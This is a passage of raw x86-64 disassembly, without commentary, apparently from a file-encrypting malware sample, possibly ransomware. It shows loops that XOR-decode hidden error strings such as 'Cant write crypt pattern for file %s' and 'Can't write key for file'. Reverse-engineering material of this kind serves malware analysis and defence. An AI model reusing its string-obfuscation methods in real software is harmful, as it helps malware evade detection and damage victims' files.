xor ax, word [0x1401217da]
mov word [rsp + 0x5a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4a
xor ax, word [0x1401217dc]
mov word [rsp + 0x5c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4b
xor ax, word [0x1401217de]
mov word [rsp + 0x5e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4c
xor ax, word [0x1401217e0]
mov word [rsp + 0x60], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4d
xor ax, word [0x1401217e2]
mov word [rsp + 0x62], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4e
xor ax, word [0x1401217e4]
mov word [rsp + 0x64], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4f
xor ax, word [0x1401217e6]
mov word [rsp + 0x66], ax
mov eax, dword [rsp + 0x570]
add eax, 0x50
xor ax, word [0x1401217e8]
mov word [rsp + 0x68], ax
mov eax, dword [rsp + 0x570]
add eax, 0x51
xor ax, word [0x1401217ea]
mov word [rsp + 0x6a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x52
xor ax, word [0x1401217ec]
mov word [rsp + 0x6c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x53
xor ax, word [0x1401217ee]
mov word [rsp + 0x6e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x54
xor ax, word [0x1401217f0]
mov word [rsp + 0x70], ax
mov eax, dword [rsp + 0x570]
add eax, 0x55
xor ax, word [0x1401217f2]
mov word [rsp + 0x72], ax
mov eax, dword [rsp + 0x570]
add eax, 0x56
xor ax, word [0x1401217f4]
mov word [rsp + 0x74], ax
mov eax, dword [rsp + 0x570]
add eax, 0x57
xor ax, word [0x1401217f6]
mov word [rsp + 0x76], ax
mov eax, dword [rsp + 0x570]
add eax, 0x58
xor ax, word [0x1401217f8]
mov word [rsp + 0x84], ax
mov eax, dword [rsp + 0x570]
add eax, 0x59
xor ax, word [0x1401217fa]
mov word [rsp + 0x78], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5a
xor ax, word [0x1401217fc]
mov word [rsp + 0x80], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5b
xor ax, word [0x1401217fe]
mov word [rsp + 0x86], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5c
xor ax, word [0x140121800]
mov word [rsp + 0x90], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5d
xor ax, word [0x140121802]
mov word [rsp + 0x92], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5e
xor ax, word [0x140121804]
mov word [rsp + 0x88], ax
movzx eax, word [rsp + 0x158]
xor eax, 0x43
mov word [rsp + 0x240], ax
movzx eax, word [rsp + 0x14c]
add eax, 1
xor eax, 0x61
mov word [rsp + 0x242], ax
movzx eax, word [rsp + 0x148]
add eax, 2
xor eax, 0x6e
mov word [rsp + 0x244], ax
movzx eax, word [rsp + 0x144]
add eax, 3
xor eax, 0x27
mov word [rsp + 0x246], ax
movzx eax, word [rsp + 0x140]
add eax, 4
xor eax, 0x74
mov word [rsp + 0x248], ax
movzx eax, word [rsp + 0x13c]
add eax, 5
xor eax, 0x20
mov word [rsp + 0x24a], ax
movzx eax, word [rsp + 0x138]
add eax, 6
xor eax, 0x77
mov word [rsp + 0x24c], ax
movzx eax, word [rsp + 0x134]
add eax, 7
xor eax, 0x72
mov word [rsp + 0x24e], ax
movzx eax, word [rsp + 0x130]
add eax, 8
xor eax, 0x69
mov word [rsp + 0x250], ax
movzx eax, word [rsp + 0x12c]
add eax, 9
xor eax, 0x74
mov word [rsp + 0x252], ax
movzx eax, word [rsp + 0x128]
add eax, 0xa
xor eax, 0x65
mov word [rsp + 0x254], ax
movzx eax, word [rsp + 0x124]
add eax, 0xb
xor eax, 0x20
mov word [rsp + 0x256], ax
movzx eax, word [rsp + 0x120]
add eax, 0xc
xor eax, 0x6b
mov word [rsp + 0x258], ax
movzx eax, word [rsp + 0x11c]
add eax, 0xd
xor eax, 0x65
mov word [rsp + 0x25a], ax
movzx eax, word [rsp + 0x118]
add eax, 0xe
xor eax, 0x79
mov word [rsp + 0x25c], ax
movzx eax, word [rsp + 0x114]
add eax, 0xf
xor eax, 0x20
mov word [rsp + 0x25e], ax
movzx eax, word [rsp + 0x110]
add eax, 0x10
xor eax, 0x66
mov word [rsp + 0x260], ax
movzx eax, word [rsp + 0x10c]
add eax, 0x11
xor eax, 0x6f
mov word [rsp + 0x262], ax
movzx eax, word [rsp + 0x108]
add eax, 0x12
xor eax, 0x72
mov word [rsp + 0x264], ax
movzx eax, word [rsp + 0x104]
add eax, 0x13
xor eax, 0x20
mov word [rsp + 0x266], ax
movzx eax, word [rsp + 0x100]
add eax, 0x14
xor eax, 0x66
mov word [rsp + 0x268], ax
movzx eax, word [rsp + 0xfc]
add eax, 0x15
xor eax, 0x69
mov word [rsp + 0x26a], ax
movzx eax, word [rsp + 0xf8]
add eax, 0x16
xor eax, 0x6c
mov word [rsp + 0x26c], ax
movzx eax, word [rsp + 0xf4]
add eax, 0x17
xor eax, 0x65
mov word [rsp + 0x26e], ax
movzx eax, word [rsp + 0xf0]
add eax, 0x18
xor eax, 0x20
mov word [rsp + 0x270], ax
movzx eax, word [rsp + 0xec]
add eax, 0x19
xor eax, 0x25
mov word [rsp + 0x272], ax
movzx eax, word [rsp + 0xe8]
add eax, 0x1a
xor eax, 0x73
mov word [rsp + 0x274], ax
movzx eax, word [rsp + 0xe4]
add eax, 0x1b
xor eax, 0x2e
mov word [rsp + 0x276], ax
movzx eax, word [rsp + 0xe0]
add eax, 0x1c
xor eax, 0x20
mov word [rsp + 0x278], ax
movzx eax, word [rsp + 0xdc]
add eax, 0x1d
xor eax, 0x47
mov word [rsp + 0x27a], ax
movzx eax, word [rsp + 0xd8]
add eax, 0x1e
xor eax, 0x65
mov word [rsp + 0x27c], ax
movzx eax, word [rsp + 0xd4]
add eax, 0x1f
xor eax, 0x74
mov word [rsp + 0x27e], ax
movzx eax, word [rsp + 0xd0]
movq xmm0, qword [0x140122200]
movq xmm1, qword [0x140122208]
mov word [rsp + 0x2a0], r14w
mov word [rsp + 0x2a2], r13w
add eax, 0x20
xor eax, 0x4c
mov word [rsp + 0x280], ax
movzx eax, word [rsp + 0xcc]
add eax, 0x21
xor eax, 0x61
mov word [rsp + 0x282], ax
movzx eax, word [rsp + 0xc8]
add eax, 0x22
xor eax, 0x73
mov word [rsp + 0x284], ax
movzx eax, word [rsp + 0xc4]
add eax, 0x23
xor eax, 0x74
mov word [rsp + 0x286], ax
movzx eax, word [rsp + 0xb8]
add eax, 0x24
xor eax, 0x45
mov word [rsp + 0x288], ax
movzx eax, word [rsp + 0xc0]
add eax, 0x25
xor eax, 0x72
mov word [rsp + 0x28a], ax
movzx eax, word [rsp + 0xb4]
add eax, 0x26
xor eax, 0x72
mov word [rsp + 0x28c], ax
movzx eax, word [rsp + 0xb0]
add eax, 0x27
xor eax, 0x6f
mov word [rsp + 0x28e], ax
movzx eax, word [rsp + 0xa4]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xa8]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xac]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xa0]
movq xmm7, rax
lea eax, [r15 + 0x2c]
paddw xmm0, xmm7
movzx r15d, word [rsp + 0x9c]
xor eax, 0x25
mov word [rsp + 0x298], ax
lea eax, [r15 + 0x2d]
movzx r15d, word [rsp + 0x98]
xor eax, 0x6c
pxor xmm0, xmm1
mov word [rsp + 0x29a], ax
lea eax, [r15 + 0x2e]
movzx r15d, word [rsp + 0x94]
movq qword [rsp + 0x290], xmm0
xor eax, 0x75
mov word [rsp + 0x29c], ax
lea eax, [r15 + 0x2f]
mov word [rsp + 0x29e], ax
mov word [rsp + 0x2a4], r12w
movzx eax, word [rsp + 0x30]
mov word [rsp + 0x2a6], bp
mov word [rsp + 0x2ba], ax
movzx eax, word [rsp + 0x38]
mov word [rsp + 0x2a8], di
mov word [rsp + 0x2bc], ax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x2aa], si
mov word [rsp + 0x2be], ax
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x2ac], bx
mov word [rsp + 0x2c0], ax
movzx eax, word [rsp + 0x4a]
mov word [rsp + 0x2ae], r11w
mov word [rsp + 0x2c2], ax
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x2b0], r10w
mov word [rsp + 0x2c4], ax
movzx eax, word [rsp + 0x4e]
mov word [rsp + 0x2b2], r9w
mov word [rsp + 0x2c6], ax
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x2b4], r8w
mov word [rsp + 0x2c8], ax
movzx eax, word [rsp + 0x52]
mov word [rsp + 0x2b6], cx
mov word [rsp + 0x2ca], ax
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x2b8], dx
mov word [rsp + 0x2cc], ax
movzx eax, word [rsp + 0x56]
mov word [rsp + 0x2ce], ax
movzx eax, word [rsp + 0x58]
mov word [rsp + 0x2d0], ax
movzx eax, word [rsp + 0x5a]
mov word [rsp + 0x2d2], ax
movzx eax, word [rsp + 0x5c]
mov word [rsp + 0x2d4], ax
movzx eax, word [rsp + 0x5e]
mov word [rsp + 0x2d6], ax
movzx eax, word [rsp + 0x60]
mov word [rsp + 0x2d8], ax
movzx eax, word [rsp + 0x62]
mov word [rsp + 0x2da], ax
movzx eax, word [rsp + 0x64]
mov word [rsp + 0x2dc], ax
movzx eax, word [rsp + 0x66]
mov word [rsp + 0x2de], ax
movzx eax, word [rsp + 0x68]
mov word [rsp + 0x2e0], ax
movzx eax, word [rsp + 0x6a]
mov word [rsp + 0x2e2], ax
movzx eax, word [rsp + 0x6c]
mov word [rsp + 0x2e4], ax
movzx eax, word [rsp + 0x6e]
mov word [rsp + 0x2e6], ax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0x2e8], ax
movzx eax, word [rsp + 0x72]
mov word [rsp + 0x2ea], ax
movzx eax, word [rsp + 0x74]
mov word [rsp + 0x2ec], ax
movzx eax, word [rsp + 0x76]
mov word [rsp + 0x2ee], ax
movzx eax, word [rsp + 0x84]
movdqu xmm2, xmmword [rsp + 0x240]
movdqu xmm3, xmmword [rsp + 0x250]
mov word [rsp + 0x2f0], ax
movzx eax, word [rsp + 0x78]
movdqu xmm4, xmmword [rsp + 0x260]
movups xmmword [rsp + 0x574], xmm2
movdqu xmm6, xmmword [rsp + 0x280]
mov word [rsp + 0x2f2], ax
movzx eax, word [rsp + 0x80]
movups xmmword [rsp + 0x584], xmm3
movdqu xmm7, xmmword [rsp + 0x290]
movdqu xmm5, xmmword [rsp + 0x270]
mov word [rsp + 0x2f4], ax
movzx eax, word [rsp + 0x86]
movups xmmword [rsp + 0x594], xmm4
movdqu xmm2, xmmword [rsp + 0x2a0]
movdqu xmm3, xmmword [rsp + 0x2b0]
mov word [rsp + 0x2f6], ax
movzx eax, word [rsp + 0x90]
movdqu xmm4, xmmword [rsp + 0x2c0]
movups xmmword [rsp + 0x5a4], xmm5
mov word [rsp + 0x2f8], ax
movzx eax, word [rsp + 0x92]
movups xmmword [rsp + 0x5b4], xmm6
mov word [rsp + 0x2fa], ax
movzx eax, word [rsp + 0x88]
movups xmmword [rsp + 0x5c4], xmm7
mov word [rsp + 0x2fc], ax
xor eax, eax
movups xmmword [rsp + 0x5d4], xmm2
movups xmmword [rsp + 0x5e4], xmm3
movups xmmword [rsp + 0x5f4], xmm4
movdqu xmm5, xmmword [rsp + 0x2d0]
movdqu xmm6, xmmword [rsp + 0x2e0]
movdqu xmm7, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0x604], xmm5
movups xmmword [rsp + 0x614], xmm6
movups xmmword [rsp + 0x624], xmm7
nop
movzx ecx, word [rsp + rax*2 + 0x574]
mov edx, dword [rsp + 0x570]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x574], dx
add rax, 1
cmp rax, 0x5f
jne 0x14002fc00
jmp 0x14002ed5d
mov rax, qword [0x140122128]
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x488], r14d
movq qword [rsp + 0x480], xmm6
mov byte [rsp + 0x57c], 0
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], 0x726f7272
mov byte [rsp + 0x48c], 0
call fcn.140002660
call rax
movzx ecx, word [0x1401217c2]
xor r11d, r11d
movzx edx, word [0x1401217c4]
mov dword [rsp + 0x80], eax
mov rax, qword [rsi]
xor ecx, 0x48
xor edx, 0x48
mov word [rsp + 0x3be], r11w
movzx r15d, word [str.Cant_write_crypt_pattern_for_file__s._GetLastError___lu]
mov qword [rsp + 0x78], rax
movzx eax, word [0x1401217c0]
mov word [rsp + 0x38], cx
movzx ecx, word [0x1401217c8]
xor r15d, 0x48
xor eax, 0x48
mov word [rsp + 0x46], dx
movzx edx, word [0x1401217ca]
mov word [rsp + 0x30], ax
movzx eax, word [0x1401217c6]
xor ecx, 0x48
mov word [rsp + 0x4a], cx
movzx ecx, word [0x1401217ce]
xor edx, 0x48
xor eax, 0x48
mov word [rsp + 0x4c], dx
movzx r14d, word [0x1401217aa]
mov word [rsp + 0x48], ax
movzx eax, word [0x1401217cc]
xor ecx, 0x48
movzx r13d, word [0x1401217ac]
movzx r12d, word [0x1401217ae]
mov dword [rsp + 0x570], 0x48
xor r14d, 0x48
xor eax, 0x48
movzx ebp, word [0x1401217b0]
movzx edi, word [0x1401217b2]
mov word [rsp + 0x4e], ax
movzx esi, word [0x1401217b4]
xor r13d, 0x48
xor r12d, 0x48
movzx ebx, word [0x1401217b6]
movzx r11d, word [0x1401217b8]
xor edi, 0x48
xor ebp, 0x48
movzx r10d, word [0x1401217ba]
movzx r9d, word [0x1401217bc]
xor esi, 0x48
movzx r8d, word [0x1401217be]
mov word [rsp + 0x50], cx
xor ebx, 0x48
xor r11d, 0x48
movzx edx, word [0x1401217d0]
movzx eax, word [0x1401217d2]
xor r10d, 0x48
xor r9d, 0x48
movzx ecx, word [0x1401217d4]
xor r8d, 0x48
xor edx, 0x48
xor eax, 0x48
mov word [rsp + 0x52], dx
movzx edx, word [0x1401217d6]
xor ecx, 0x48
mov word [rsp + 0x54], ax
movzx eax, word [0x1401217d8]
xor edx, 0x48
mov word [rsp + 0x56], cx
movzx ecx, word [0x1401217da]
mov word [rsp + 0x58], dx
movzx edx, word [0x1401217dc]
xor eax, 0x48
xor ecx, 0x48
mov word [rsp + 0x5a], ax
movzx eax, word [0x1401217de]
xor edx, 0x48
mov word [rsp + 0x5c], cx
movzx ecx, word [0x1401217e0]
mov word [rsp + 0x5e], dx
movzx edx, word [0x1401217e2]
xor eax, 0x48
xor ecx, 0x48
mov word [rsp + 0x60], ax
movzx eax, word [0x1401217e4]
xor edx, 0x48
mov word [rsp + 0x62], cx
movzx ecx, word [0x1401217e6]
mov word [rsp + 0x64], dx
movzx edx, word [0x1401217e8]
xor eax, 0x48
xor ecx, 0x48
mov word [rsp + 0x66], ax
movzx eax, word [0x1401217ea]
xor edx, 0x48
mov word [rsp + 0x68], cx
movzx ecx, word [0x1401217ec]
mov word [rsp + 0x6a], dx
movzx edx, word [0x1401217ee]
xor eax, 0x48
xor ecx, 0x48
mov word [rsp + 0x6c], ax
xor edx, 0x48
mov word [rsp + 0x6e], cx
mov word [rsp + 0x70], dx
movzx eax, word [0x1401217f0]
movdqu xmm1, xmmword [0x140122210]
movzx edx, word [0x1401217f4]
mov word [rsp + 0x360], r15w
xor eax, 0x48
movzx ecx, word [0x1401217f2]
movq xmm0, qword [0x140121ae0]
mov word [rsp + 0x362], r14w
mov word [rsp + 0x72], ax
movzx eax, word [0x1401217f6]
xor edx, 0x48
movups xmmword [rsp + 0x300], xmm1
xor ecx, 0x48
movdqu xmm1, xmmword [0x140122220]
xor eax, 0x48
mov word [rsp + 0x76], dx
movzx edx, word [0x1401217fc]
mov word [rsp + 0x84], ax
movzx eax, word [0x1401217fe]
movups xmmword [rsp + 0x310], xmm1
movdqu xmm1, xmmword [0x140122230]
shl rax, 0x10
mov word [rsp + 0x74], cx
movzx ecx, word [0x140121800]
movups xmmword [rsp + 0x320], xmm1
or rax, rdx
movdqu xmm1, xmmword [0x140122240]
movzx edx, word [0x1401217fa]
mov word [rsp + 0x364], r13w
shl rax, 0x10
xor ecx, 0x48
movups xmmword [rsp + 0x330], xmm1
or rax, rdx
movdqu xmm1, xmmword [0x140122250]
movzx edx, word [0x1401217f8]
mov word [rsp + 0x366], r12w
shl rax, 0x10
movups xmmword [rsp + 0x340], xmm1
movdqu xmm1, xmmword [0x140122260]
or rax, rdx
movzx edx, word [0x140121802]
movq xmm2, rax
movzx eax, word [0x140121804]
movups xmmword [rsp + 0x350], xmm1
pxor xmm0, xmm2
xor edx, 0x48
mov word [rsp + 0x368], bp
xor eax, 0x48
mov word [rsp + 0x36e], bx
movzx ebx, word [rsp + 0x30]
mov word [rsp + 0x36a], di
movzx edi, word [rsp + 0x46]
mov word [rsp + 0x378], bx
movzx ebx, word [rsp + 0x38]
mov word [rsp + 0x37c], di
movzx edi, word [rsp + 0x4a]
mov word [rsp + 0x37a], bx
movzx ebx, word [rsp + 0x48]
mov word [rsp + 0x380], di
movzx edi, word [rsp + 0x4e]
mov word [rsp + 0x37e], bx
movzx ebx, word [rsp + 0x4c]
mov word [rsp + 0x384], di
movzx edi, word [rsp + 0x52]
mov word [rsp + 0x382], bx
movzx ebx, word [rsp + 0x50]
mov word [rsp + 0x36c], si
movzx esi, word [rsp + 0x56]
mov word [rsp + 0x386], bx
movzx ebx, word [rsp + 0x54]
mov word [rsp + 0x388], di
movzx edi, word [rsp + 0x58]
mov word [rsp + 0x38a], bx
movzx ebx, word [rsp + 0x5a]
mov word [rsp + 0x38c], si
mov word [rsp + 0x38e], di
mov word [rsp + 0x370], r11w
mov word [rsp + 0x372], r10w
mov word [rsp + 0x374], r9w
mov word [rsp + 0x376], r8w
mov word [rsp + 0x390], bx
movzx esi, word [rsp + 0x5c]
movzx edi, word [rsp + 0x5e]
movzx ebx, word [rsp + 0x60]
mov word [rsp + 0x3b8], cx
mov word [rsp + 0x392], si
movzx esi, word [rsp + 0x62]
mov word [rsp + 0x394], di
movzx edi, word [rsp + 0x64]
mov word [rsp + 0x396], bx
movzx ebx, word [rsp + 0x66]
mov word [rsp + 0x398], si
movzx esi, word [rsp + 0x68]
mov word [rsp + 0x39a], di
movzx edi, word [rsp + 0x6a]
mov word [rsp + 0x39c], bx
movzx ebx, word [rsp + 0x6c]
mov word [rsp + 0x39e], si
movzx esi, word [rsp + 0x6e]
mov word [rsp + 0x3a0], di
movzx edi, word [rsp + 0x70]
mov word [rsp + 0x3a2], bx
movzx ebx, word [rsp + 0x72]
mov word [rsp + 0x3a4], si
movzx esi, word [rsp + 0x74]
mov word [rsp + 0x3a6], di
movzx edi, word [rsp + 0x76]
mov word [rsp + 0x3a8], bx
movzx ebx, word [rsp + 0x84]
mov word [rsp + 0x3aa], si
mov word [rsp + 0x3ac], di
mov word [rsp + 0x3ae], bx
movq qword [rsp + 0x3b0], xmm0
mov word [rsp + 0x3ba], dx
movabs rdx, 0x3a003f0068003c
movdqu xmm3, xmmword [rsp + 0x360]
mov word [rsp + 0x3bc], ax
movabs rax, 0x6f00260029000b
movdqu xmm4, xmmword [rsp + 0x370]
mov qword [rsp + 0x574], rax
movabs rax, 0x68002d003c0021
movdqu xmm5, xmmword [rsp + 0x380]
mov qword [rsp + 0x57c], rdx
movabs rdx, 0x680031002d0023
movdqu xmm6, xmmword [rsp + 0x390]
mov qword [rsp + 0x584], rax
movabs rax, 0x68003a0027002e
movdqu xmm7, xmmword [rsp + 0x3a0]
mov qword [rsp + 0x58c], rdx
movabs rdx, 0x2d00240021002e
movdqu xmm2, xmmword [rsp + 0x3b0]
mov qword [rsp + 0x594], rax
movabs rax, 0x66003b006d0068
mov qword [rsp + 0x59c], rdx
movabs rdx, 0x3c002d000f0068
mov qword [rsp + 0x5a4], rax
movabs rax, 0x3c003b00290004
mov qword [rsp + 0x5ac], rdx
movabs rdx, 0x27003a003a000d
mov qword [rsp + 0x5b4], rax
movabs rax, 0x6800750068003a
mov qword [rsp + 0x5bc], rdx
movabs rdx, 0x48003d0024006d
mov qword [rsp + 0x5c4], rax
xor eax, eax
mov qword [rsp + 0x5cc], rdx
movups xmmword [rsp + 0x5d4], xmm3
movups xmmword [rsp + 0x5e4], xmm4
movups xmmword [rsp + 0x5f4], xmm5
movups xmmword [rsp + 0x604], xmm6
movups xmmword [rsp + 0x614], xmm7
movups xmmword [rsp + 0x624], xmm2
nop
movzx edx, word [rsp + rax*2 + 0x574]
mov ecx, dword [rsp + 0x570]
xor edx, ecx
mov word [rsp + rax*2 + 0x574], dx
add rax, 1
cmp rax, 0x5f
jne 0x1400302c0
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
xor r10d, r10d
lea rcx, [rsp + 0x574]
mov word [rsp + 0x632], r10w
call fcn.14000c8b0
jmp 0x14002ed84
mov rax, qword [0x140122128]
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x488], r14d
movq qword [rsp + 0x480], xmm6
mov byte [rsp + 0x57c], 0
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], 0x726f7272
mov byte [rsp + 0x48c], 0
call fcn.140002660
call rax
xor r9d, r9d
mov dword [rsp + 0x570], 6
mov dword [rsp + 0x15c], eax
mov rax, qword [rsi]
mov word [rsp + 0x47e], r9w
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0x158], eax
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0x14c], edi
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0x148], ebx
mov r14d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
mov dword [rsp + 0x144], esi
mov r15d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov dword [rsp + 0x140], ecx
mov r12d, dword [rsp + 0x570]
mov dword [rsp + 0x13c], edx
mov dword [rsp + 0x138], r11d
mov dword [rsp + 0x134], r10d
mov dword [rsp + 0x130], r9d
mov dword [rsp + 0x12c], r14d
mov dword [rsp + 0x128], r8d
mov dword [rsp + 0x124], r15d
mov dword [rsp + 0x120], ebp
mov dword [rsp + 0x11c], r12d
mov r13d, dword [rsp + 0x570]
mov eax, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov dword [rsp + 0x118], r13d
mov ebx, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0x110], edi
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0x10c], ebx
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0x108], esi
mov r14d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
mov dword [rsp + 0x104], ecx
mov r15d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov dword [rsp + 0x100], edx
mov r12d, dword [rsp + 0x570]
mov r13d, dword [rsp + 0x570]
mov dword [rsp + 0xfc], r11d
mov dword [rsp + 0xf8], r10d
mov dword [rsp + 0xf4], r9d
mov dword [rsp + 0xf0], r14d
mov dword [rsp + 0xec], r8d
mov dword [rsp + 0xe8], r15d
mov dword [rsp + 0xe4], ebp
mov dword [rsp + 0xe0], r12d
mov dword [rsp + 0xdc], r13d
mov dword [rsp + 0x114], eax
mov eax, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0xd8], eax
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0xd4], edi
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0xd0], ebx
mov r14d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
mov dword [rsp + 0xcc], esi
mov r15d, dword [rsp + 0x570]
mov dword [rsp + 0xc8], ecx
mov dword [rsp + 0xc4], edx
mov dword [rsp + 0xa8], r15d
mov r15d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov r12d, dword [rsp + 0x570]
mov dword [rsp + 0xb8], r11d
mov r13d, dword [rsp + 0x570]
mov eax, dword [rsp + 0x570]
mov dword [rsp + 0xc0], r10d
movzx r15d, r15w
mov dword [rsp + 0xb4], r9d
mov dword [rsp + 0xb0], r14d
mov dword [rsp + 0xac], r8d
mov dword [rsp + 0xa4], ebp
mov dword [rsp + 0xa0], r12d
mov dword [rsp + 0x9c], r13d
mov dword [rsp + 0x98], eax
mov edi, dword [rsp + 0x570]
mov r14d, dword [rsp + 0x570]
mov r13d, dword [rsp + 0x570]
mov dword [rsp + 0x94], edi
mov r12d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
add r14d, 0x30
add r13d, 0x31
mov edi, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
add r12d, 0x32
mov r11d, dword [rsp + 0x570]
mov r10d, dword [rsp + 0x570]
add ebp, 0x33
add edi, 0x34
mov r9d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
add esi, 0x35
add ebx, 0x36
mov ecx, dword [rsp + 0x570]
mov edx, dword [rsp + 0x570]
add r11d, 0x37
add r10d, 0x38
mov eax, dword [rsp + 0x570]
xor r14w, word [str.Cant_write_crypt_pattern_for_file__s._GetLastError___lu]
add r9d, 0x39
add r8d, 0x3a
xor r13w, word [0x1401217aa]
xor r12w, word [0x1401217ac]
add ecx, 0x3b
add edx, 0x3c
add eax, 0x3d
xor ax, word [0x1401217c2]
xor bp, word [0x1401217ae]
mov word [rsp + 0x30], ax
mov eax, dword [rsp + 0x570]
xor di, word [0x1401217b0]
xor si, word [0x1401217b2]
xor bx, word [0x1401217b4]
xor r11w, word [0x1401217b6]
add eax, 0x3e
xor r10w, word [0x1401217b8]
xor r9w, word [0x1401217ba]
xor r8w, word [0x1401217bc]
xor cx, word [0x1401217be]
xor dx, word [0x1401217c0]
xor ax, word [0x1401217c4]
mov word [rsp + 0x38], ax
mov eax, dword [rsp + 0x570]
add eax, 0x3f
xor ax, word [0x1401217c6]
mov word [rsp + 0x46], ax
mov eax, dword [rsp + 0x570]
add eax, 0x40
xor ax, word [0x1401217c8]
mov word [rsp + 0x48], ax
mov eax, dword [rsp + 0x570]
add eax, 0x41
xor ax, word [0x1401217ca]
mov word [rsp + 0x4a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x42
xor ax, word [0x1401217cc]
mov word [rsp + 0x4c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x43
xor ax, word [0x1401217ce]
mov word [rsp + 0x4e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x44
xor ax, word [0x1401217d0]
mov word [rsp + 0x50], ax
mov eax, dword [rsp + 0x570]
add eax, 0x45
xor ax, word [0x1401217d2]
mov word [rsp + 0x52], ax
mov eax, dword [rsp + 0x570]
add eax, 0x46
xor ax, word [0x1401217d4]
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x570]
add eax, 0x47
xor ax, word [0x1401217d6]
mov word [rsp + 0x56], ax
mov eax, dword [rsp + 0x570]
add eax, 0x48
xor ax, word [0x1401217d8]
mov word [rsp + 0x58], ax
mov eax, dword [rsp + 0x570]
add eax, 0x49
xor ax, word [0x1401217da]
mov word [rsp + 0x5a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4a
xor ax, word [0x1401217dc]
mov word [rsp + 0x5c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4b
xor ax, word [0x1401217de]
mov word [rsp + 0x5e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4c
xor ax, word [0x1401217e0]
mov word [rsp + 0x60], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4d
xor ax, word [0x1401217e2]
mov word [rsp + 0x62], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4e
xor ax, word [0x1401217e4]
mov word [rsp + 0x64], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4f
xor ax, word [0x1401217e6]
mov word [rsp + 0x66], ax
mov eax, dword [rsp + 0x570]
add eax, 0x50
xor ax, word [0x1401217e8]
mov word [rsp + 0x68], ax
mov eax, dword [rsp + 0x570]
add eax, 0x51
xor ax, word [0x1401217ea]
mov word [rsp + 0x6a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x52
xor ax, word [0x1401217ec]
mov word [rsp + 0x6c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x53
xor ax, word [0x1401217ee]
mov word [rsp + 0x6e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x54
xor ax, word [0x1401217f0]
mov word [rsp + 0x70], ax
mov eax, dword [rsp + 0x570]
add eax, 0x55
xor ax, word [0x1401217f2]
mov word [rsp + 0x72], ax
mov eax, dword [rsp + 0x570]
add eax, 0x56
xor ax, word [0x1401217f4]
mov word [rsp + 0x74], ax
mov eax, dword [rsp + 0x570]
add eax, 0x57
xor ax, word [0x1401217f6]
mov word [rsp + 0x76], ax
mov eax, dword [rsp + 0x570]
add eax, 0x58
xor ax, word [0x1401217f8]
mov word [rsp + 0x84], ax
mov eax, dword [rsp + 0x570]
add eax, 0x59
xor ax, word [0x1401217fa]
mov word [rsp + 0x78], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5a
xor ax, word [0x1401217fc]
mov word [rsp + 0x80], ax
